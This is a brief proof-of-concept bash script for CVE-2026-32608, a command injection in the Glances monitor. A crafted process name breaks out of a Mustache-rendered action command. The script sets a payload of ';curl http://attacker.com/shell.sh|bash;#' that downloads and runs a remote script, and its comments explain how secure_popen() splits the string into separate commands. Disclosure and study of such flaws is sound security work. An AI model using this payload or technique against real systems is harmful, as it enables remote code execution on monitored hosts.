CVE-2026-32608 Glances命令注入漏洞

#!/bin/bash # CVE-2026-32608 PoC - Process Name Command Injection # This PoC demonstrates how a malicious process name can inject commands # Step 1: Create a process with shell metacharacters in the name # In a real attack, this could be done by: # - Creating a container with a crafted name # - Renaming a running process # - Creating a file with special characters in its path # Example: Create a fake process entry that will trigger the action # The process name contains: ;touch /tmp/pwned; # When rendered in Mustache template like: /path/to/{{name}} # It becomes: /path/to/;touch /tmp/pwned; # Which gets split and executed as separate commands # Simulated PoC - Process name with command injection payload MALICIOUS_NAME=";curl http://attacker.com/shell.sh|bash;#" echo "Malicious process name: $MALICIOUS_NAME" # Step 2: Wait for Glances monitoring to trigger the action # The action command might be something like: # ACTION_CMD="alert.sh --process {{name}}" # After Mustache rendering: alert.sh --process ;curl http://attacker.com/shell.sh|bash;# # secure_popen() splits this into multiple commands # Step 3: Verify command injection # The injected command (curl http://attacker.com/shell.sh|bash) will be executed